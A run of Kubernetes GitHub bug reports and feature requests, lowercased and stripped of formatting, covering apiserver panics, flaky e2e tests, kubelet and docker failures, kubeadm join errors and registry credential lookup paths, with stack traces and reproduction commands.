/usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/emicklei/go-restful/container.go:272\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/github.com/emicklei/go-restful/container.go:120\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/go/src/net/http/server.go:2022\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/filters/authorization.go:44\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/filters/impersonation.go:44\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/auth/handlers/handlers.go:73\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/api/requestcontext.go:107\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/genericapiserver/filters/panics.go:75\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/apiserver/filters/requestinfo.go:45\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/api/requestcontext.go:107\r     /usr/local/go/src/net/http/server.go:1726\r     /usr/local/google/home/mrick/go/src/k8s.io/minikube/_gopath/src/k8s.io/minikube/vendor/k8s.io/kubernetes/pkg/genericapiserver/filters/timeout.go:78\r     /usr/local/go/src/runtime/asm_amd64.s:2086\r    \r \r \r   what you expected to happen  :\r \r it should respond with 400 instead of panicking.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r    bash\r   create minikube cluster\r $ minikube start --kubernetes-version v1.6.0-alpha.0\r   create a pod\r kubectl run hello-minikube --image=gcr.io/google_containers/echoserver:1.4 --port=8080\r   get the pod name and make a malformed patch request.\r $ curl -x patch -h \ content-type: application/json-patch+json\  \\\r   https://192.168.99.100:8443/api/v1/namespaces/default/pods/hello-minikube-3015430129-rexoi \\\r   -d ' {\ op\ :\ add\ ,\ pointer\ :\ /metadata/labels/foo\ ,\ value\ :\ hi\ } ' -k\r    \r \r \r   anything else do we need to know  :

most of the deployment tests in the  kubernetes 24-hour test report  http://storage.googleapis.com/kubernetes-test-history/static/index.html  flake because the pods used by the deployment are not ending up  running after 5 minutes  https://github.com/kubernetes/kubernetes/blob/3527153426581d48804dd0073ab254f209142ade/test/e2e/framework/util.go l1217  which is the  timeout used for waiting pods to run  https://github.com/kubernetes/kubernetes/blob/3527153426581d48804dd0073ab254f209142ade/test/e2e/framework/util.go l102  1 . funny enough there is a todo for decreasing that timeout back to 30s. i am opening this issue for tracking the changes needed to drop unecessary replicas in deployment e2e tests  except for stress-testing, most deployment-related tests should use 1 replica and a combination of specific strategy parameters  but it would be useful to also discuss why 5m timeouts are not enough for waiting for pods to run.\r \r  1  look out for \ failed to wait for pods running:  timed out waiting for the condition \ \r \r @kubernetes/sig-apps-misc @kubernetes/sig-node-bugs

then we can drop custom conversions for deployments\r \r @kubernetes/sig-api-machinery-misc

/assign @madhusudancs \r \r https://k8s-testgrid.appspot.com/google-federation soak-gce-test\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/framework/framework.go:61\r expected error:\r     < errors.errorstring | 0xc420adb810>: {\r         s: \ error creating federation default client config: invalid configuration:  context was not found for specified context: e2e-federation, default cluster has no server defined \ ,\r     }\r     error creating federation default client config: invalid configuration:  context was not found for specified context: e2e-federation, default cluster has no server defined \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e_federation/framework/framework.go:74\r    \r \r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html 64a5376e3c52e64bb4b3\r ! fed  https://cloud.githubusercontent.com/assets/940341/23983394/1bdde0a8-09d1-11e7-8065-31d15719d134.png \r

 :fire: :fire: :fire:\r   environment  :\r - kubernetes version: 1.6.4\r - cloud provider or hardware configuration  : gke\r - os: cos 57\r - kernel: linux 4.4.35\r \r i run a workload that creates many short-lived pods. i noticed a handful of my pods in the  unknown  state. 12/50 of my nodes are in the  notready  state. describing one of them yields:\r    \r conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t-------\r   networkunavailable \tfalse \t\tmon, 12 jun 2017 11:51:54 -0700 \tmon, 12 jun 2017 11:51:54 -0700 \troutecreated \t\troutecontroller created a route\r   outofdisk \t\tunknown \tthu, 06 jul 2017 18:57:38 -0700 \tthu, 06 jul 2017 18:56:16 -0700 \tnodestatusunknown \tkubelet stopped posting node status.\r   memorypressure \tunknown \tthu, 06 jul 2017 18:57:38 -0700 \tthu, 06 jul 2017 18:56:16 -0700 \tnodestatusunknown \tkubelet stopped posting node status.\r   diskpressure \t\tunknown \tthu, 06 jul 2017 18:57:38 -0700 \tthu, 06 jul 2017 18:56:16 -0700 \tnodestatusunknown \tkubelet stopped posting node status.\r   ready \t\tunknown \tthu, 06 jul 2017 18:57:38 -0700 \tthu, 06 jul 2017 18:58:23 -0700 \tnodestatusunknown \tkubelet stopped posting node status.\r   kerneldeadlock \tfalse \t\tmon, 10 jul 2017 10:00:44 -0700 \tthu, 06 jul 2017 18:34:47 -0700 \tkernelhasnodeadlock \tkernel has no deadlock\r    \r evidently the kubelet isn't showing up. i ssh'd onto one of the nodes and ran  sudo journalctl -u kubelet.service -n 100 . every 10 seconds it is failing to start the kubelet because docker is down:\r    \r jul 10 17:43:17 gke-prow-default-pool-42819f20-3snv kubelet 27121 : error: failed to run kubelet: failed to create kubelet: failed to get docker info: cannot connect to the docker daemon. is the docker daemon running on this host?\r    \r checking  sudo journalctl -u docker.service -n 100 , i see it's just hosed:\r    \r time=\ 2017-07-07t02:49:24z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r time=\ 2017-07-07t02:49:24z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r time=\ 2017-07-07t02:49:24z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r time=\ 2017-07-07t02:49:24z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r time=\ 2017-07-07t02:49:24z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r + rm -f /var/lib/docker/repositories-overlay\r + rm -rf /var/lib/docker/network\r time=\ 2017-07-07t02:49:36z\  level=fatal msg=\ open /run/containerd/633e5ecb96881f29a3c8225eac38ba38ce0fc37b959b4555a2a91950347aec4c/d788344e970905783af37e9870ef51530cf55fc4c89b683345446185eada095f/process.json: no such file or directory\ \r    \r moby/moby 30984 suggests deleting the directory. as soon as i do, docker comes back, the kubelet comes back, and the node switches to  ready .  restarting the node also fixes the issue.\r \r should k8s handle this for me automatically? i'm not sure how to recreate the problem, however i have cordoned a handful of nodes and can give access to them if someone thinks they can debug.\r \r cc @dashpole, who helped me with my last problem :smile:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when deploying a headless service without port definition, the service finds no endpoint and service name couldn't be resolved.\r \r   what you expected to happen  :\r the headless service finds endpoint matching the selector and the service name resolves to the endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a headless service with no port definition\r \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.6.6, 1.7.0\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux master 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when creating a secret using  --namespace  and  --dry-run , the namespace is not included in the secret metadata.\r \r   what you expected to happen  :\r the metadata includes the specified namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl create secret generic mysecret --dry-run --from-literal=foo=bar -o json --namespace foo\r {\r     \ kind\ : \ secret\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ mysecret\ ,\r         \ creationtimestamp\ : null\r     },\r     \ data\ : {\r         \ foo\ : \ ymfy\ \r     }\r }\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : na  --dry-run \r - os  e.g. from /etc/os-release : name=\ ubuntu\  version=\ 16.04.3 lts  xenial xerus \ \r - kernel  e.g.  uname -a  : 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r alpha suite has been failing in the beforesuite since 9/22\r \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/16756 \r  testgrid  https://k8s-testgrid.appspot.com/google-gce gci-gce-alpha-features \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:246\r oct  4 04:01:52.830: error waiting for all pods to be running and ready: 6 / 33 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                                             node phase   grace conditions\r event-exporter-v0.1.7-658b94f46b-2h62c               pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:44:53 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r heapster-v1.5.0-beta.0-7f949fd8d4-cqpfb              pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:44:51 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r kube-dns-778977457c-fqqtq                            pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:44:52 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r kube-dns-778977457c-ftjf7                            pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:46:14 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r metrics-server-v0.2.0-56fddcccfc-v9nl2               pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:44:53 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r monitoring-influxdb-grafana-v4-6d698849dd-flbx8      pending        {type:podscheduled status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-10-04 03:44:51 +0000 utc reason:unschedulable message:no nodes are available that match all of the predicates: podtoleratesnodetaints  4 .} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:197\r    \r \r did we recently enable some alpha taints feature?  @kubernetes/sig-scheduling-bugs

 \r \r   what happened  :\r kubelet has evicted pods due to disk pressure. eventually, the disk pressure went away and the pods were scheduled and started again, but the evicted pods remained in the list of pods   kubectl get pod --show-all  .\r \r   what you expected to happen  :\r wouldn't it be better if the kubelet would have deleted those evicted pods? the expected behaviour would therefore be to not see the evicted pods anymore, i.e. that they get deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kubelet with  --eviction-hard  and  --eviction-soft  with high thresholds or fill up the disk of a worker node.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : container linux 1465.7.0  ladybug \r - kernel  e.g.  uname -a  : 4.12.10-coreos\r

even i have enough memory,  i install kubernetes from 1.7.0 source still error. error info as follow:\r \r  kubernetes-1.7.0   sudo make quick-release\r +++  1104 13:17:31  verifying prerequisites....\r +++  1104 13:17:31  building docker image kube-build:build-ac3d17de29-5-v1.8.3-1\r +++  1104 13:17:43  syncing sources to container\r +++  1104 13:17:45  running build command...\r +++  1104 13:17:56  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1104 13:17:56  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1104 13:17:57  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     plugin/cmd/kube-scheduler\r pkg/credentialprovider/rancher/rancher_registry_credentials.go:24:2: open /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/rancher/go-rancher/client/generated_log_config.go: file name too long\r vendor/github.com/opencontainers/runc/libcontainer/capabilities_linux.go:10:2: open /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/syndtr/gocapability/capability/capability.go: no such file or directory\r vendor/k8s.io/apimachinery/pkg/runtime/serializer/json/json.go:24:2: open /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/ugorji/go/codec/decode_go14.go: no such file or directory\r pkg/cloudprovider/providers/vsphere/vsphere.go:38:2: open /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/find/doc.go: no such file or directory\r !!!  1104 13:17:59  call tree:\r !!!  1104 13:17:59   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:710 kube::golang::build_binaries_for_platform ... \r !!!  1104 13:17:59   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  1104 13:17:59  call tree:\r !!!  1104 13:17:59   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  1104 13:17:59  call tree:\r !!!  1104 13:17:59   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r makefile:89: recipe for target 'all' failed\r make 1 :      all  error 1\r makefile:396: recipe for target 'cross' failed\r make:      cross  error 1\r !!!  1104 13:17:59  call tree:\r !!!  1104 13:17:59   1: build/../build/common.sh:513 kube::build::run_build_command_ex ... \r !!!  1104 13:17:59   2: build/release.sh:36 kube::build::run_build_command ... \r make:      quick-release  error 1

 \r   what happened  :\r i would like to be able to have two sets of deployments behind a service. the primary normally would be scaled out and receive all the traffic. if no primaries are available, kube-proxy would use the backup selector to select available pods to enter service. if any primaries come back on, the backups would be removed from service.\r \r this would allow for important services to be loaded on kube controllers or other important reserved hardware that normally would be busy doing other things, but could be used still automatically during disasters to try and continue to keep the system running.

version  :\r v1.10.0-alpha.0.821+a505d1bc7854c0-dirty\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r when start k8s on  hack/local-up-cluster.sh , there is some error in  /tmp/kube-apiserver.log \r    \r \r i1211 02:49:53.635542   29967 wrap.go:42  get /apis/rbac.authorization.k8s.io/v1/clusterrolebindings/system:controller:route-controller:  907.851µs  404   hyperkube/v1.10.0  linux/amd64  kubernetes/bb72237  127.0.0.1:58754 \r i1211 02:49:53.636242   29967 wrap.go:42  get /healthz:  340.401µs  500\r goroutine 3961  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc422fd4700, 0x1f4 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc422fd4700, 0x1f4 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc42acf1ea0, 0x1f4 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:188 +0xac\r net/http.error 0x7f8756662640, 0xc427ad7ce0, 0xc4299ae840, 0x2ae, 0x1f4 \r \t/usr/local/go/src/net/http/server.go:1930 +0xda\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz.handleroothealthz.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz/healthz.go:121 +0x508\r net/http.handlerfunc.servehttp 0xc4245f40c0, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42afc9340, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:241 +0x55a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc422ee2fc0, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x4978c63, 0xf, 0xc42397bc20, 0xc422ee2fc0, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc426705060, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r net/http.handlerfunc.servehttp 0xc42302c640, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:95 +0x318\r net/http.handlerfunc.servehttp 0xc4265c0ec0, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r net/http.handlerfunc.servehttp 0xc42302c690, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r net/http.handlerfunc.servehttp 0xc42302c780, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc426705080, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withcors.func1 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/cors.go:75 +0x17b\r net/http.handlerfunc.servehttp 0xc426d228a0, 0x7f8756662640, 0xc427ad7ce0, 0xc426b12200 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc426705220, 0xa665e80, 0xc427ad7ce0, 0xc426b12200, 0xc42624a600 \r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/data/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r \r logging error output: \  + ping ok\  + etcd ok\  + poststarthook/generic-apiserver-start-informers ok\  + poststarthook/start-apiextensions-informers ok\  + poststarthook/start-apiextensions-controllers ok\  + poststarthook/bootstrap-controller ok\  - poststarthook/rbac/bootstrap-roles failed: reason withheld\  + poststarthook/ca-registration ok\  + poststarthook/start-kube-apiserver-informers ok\  + poststarthook/start-kube-aggregator-informers ok\  + poststarthook/apiservice-registration-controller ok\  + poststarthook/apiservice-status-available-controller ok\  + poststarthook/apiservice-openapi-controller ok\  + poststarthook/kube-apiserver-autoregistration ok\  + autoregister-completion ok\ healthz check failed\ \ \r    curl/7.29.0  127.0.0.1:58782 \r \r    \r \r   what you expected to happen  :\r no those error in apiserver\r \r   detail log link  :\r https://paste.fedoraproject.org/paste/jab1ianqgbls2m2tdorszg\r

  \r   what happened  :\r when i use kubeadm join x.x.x.x ....... \r \r i0824 17:03:49.768516   15028 kernel_validator.go:81  validating kernel version\r i0824 17:03:49.768610   15028 kernel_validator.go:96  validating kernel config\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.06.1-ce. max validated version: 17.03\r \t warning hostname : hostname \ tx83\  could not be reached\r \t warning hostname : hostname \ tx83\  lookup tx83 on 10.225.30.181:53: no such host\r  discovery  trying to connect to api server \ xx.xxx.xx.xx:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://xx.xxx.xx.xx:6443\ \r  discovery  requesting info from \ https://xx.xxx.xx.xx:6443\  again to validate tls against the pinned public key\r  discovery  cluster info signature and contents are valid and tls certificate validates against pinned roots, will use api server \ xx.xxx.xx.xx:6443\ \r  discovery  successfully established connection with api server\ xx.xxx.xx.xx:6443\ \r  kubelet  downloading configuration for the kubelet from the \ kubelet-config-1.11\  configmap in the kube-system namespace\r  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  preflight  activating the kubelet service\r  tlsbootstrap  waiting for the kubelet to perform the tls bootstrap...\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r \r use 'systemctl status kubelet' \r ! image  https://user-images.githubusercontent.com/13118848/44577022-97f96c80-a7c2-11e8-9d6b-89cce3fefea8.png \r \r use journalctl -xeu kubelet\r \r ! image  https://user-images.githubusercontent.com/13118848/44577064-b19ab400-a7c2-11e8-817b-a87192d5e9cd.png \r \r ! image  https://user-images.githubusercontent.com/13118848/44577382-88c6ee80-a7c3-11e8-8f6a-eb63a8795b1c.png \r no kubelet.conf file is produced\r \r kubernetes v1.11.2\r \r \r

what would you like to be added  :\r \r   api to provide the cluster host/ip for a golang project when it in running inside of the cluster  \r \r \r   what is my goal?  \r \r   via the  k8s.io/client-go  i would like to get the cluster host   public hostname or ip   from inside of the cluster\r   by a  golang operator project  https://github.com/operator-framework/operator-sdk , i'd like to be able to get the cluster host   public hostname or ip   and create an ingress object with this value in runtime.\r \r   what means inside of the cluster? how i am checking it inside of the cluster?  \r   by developing a golang operator which is deployed and running on a minishift/kube cluster.\r \r   note:   the  rest.config.host  https://github.com/kubernetes/client-go/blob/master/rest/config.go l57  will not have the same value from inside and outside of a cluster and i am just looking for a way to get the cluster host public hostname/ip/master  from the api in the project.\r \r > when running outside the cluster, kubectl cluster-info and other clients use the cluster.server value in your $kubeconfig. this typically uses a hostname or ip that is routable to the cluster api server from outside the cluster.\r \r > when running inside the cluster, clients use the $kubernetes_service_host environment variable, which comes from the kubernetes.default.svc service. this host/ip is typically only routable inside the cluster.\r \r example:\r \r    go\r \tcfg, _:= config.getconfig  \r \tvar hostname cfg.host //here\r \r          cfg, _:= rest.inclusterconfig  \r \tvar hostname cfg.host\t//here\r    \r \r   suggestion  \r \r  add a new attribute in  rest.config  https://github.com/kubernetes/client-go/blob/master/rest/config.go l57  to provide this value. for example, masterhost = \ \   \r \r   why is this needed  :\r \r it shows a common need. imho a dev could need to know this info for many reasons. however, for me it was required for:\r \r   create an ingress object with the host value because ocp will just create properly its route object based in an ingress if it has the host value.

i have deployed kubernetes onto aws using kube-up. i am trying to start a replication controller with a container spec of a docker image pulled from a private registry  quay . i am reading  this guide  http://kubernetes.io/v1.1/docs/user-guide/images.html using-a-private-registry  for instructions. i would like to use the method \ configuring nodes to authenticate to a private registry\ . as far as i can tell, this method is broken.  first, i placed my dockercfg on the minion at /root/.dockercfg, as specified. logging on to the minion, i can manually  docker pull  the image successfully. but the kubelet attempts to pull it without credentials:      failed to pull image \ quay.io/foo/bar:baz\ : image pull failed for quay.io/foo/bar:baz,  this may be because there are no credentials on this request.  details:  error: status  403 trying to pull repository foo/bar: \ {\\\ error\\\ : \\\ permission denied\\\ }\        increasing kubelet --v to 4, i see that it's looking for the file in the wrong location s  at startup:      nov 23 10:37:34 ... config.go:85  looking for .docker/config.json at /var/lib/kubelet/config.json nov 23 10:37:34 ... config.go:85  looking for .docker/config.json at /config.json nov 23 10:37:34 ... config.go:85  looking for .docker/config.json at /.docker/config.json nov 23 10:37:34 ... config.go:85  looking for .docker/config.json at /.docker/config.json      digging into the code, there appear to be a couple of subtle reasons this could be broken.  - the  kubelet sets the credentialprovider's preferreddockercfgpath to /var/lib/kubelet  https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l520 , which i don't think is correct. perhaps different modules have different understanding of what \ root\  means? - based 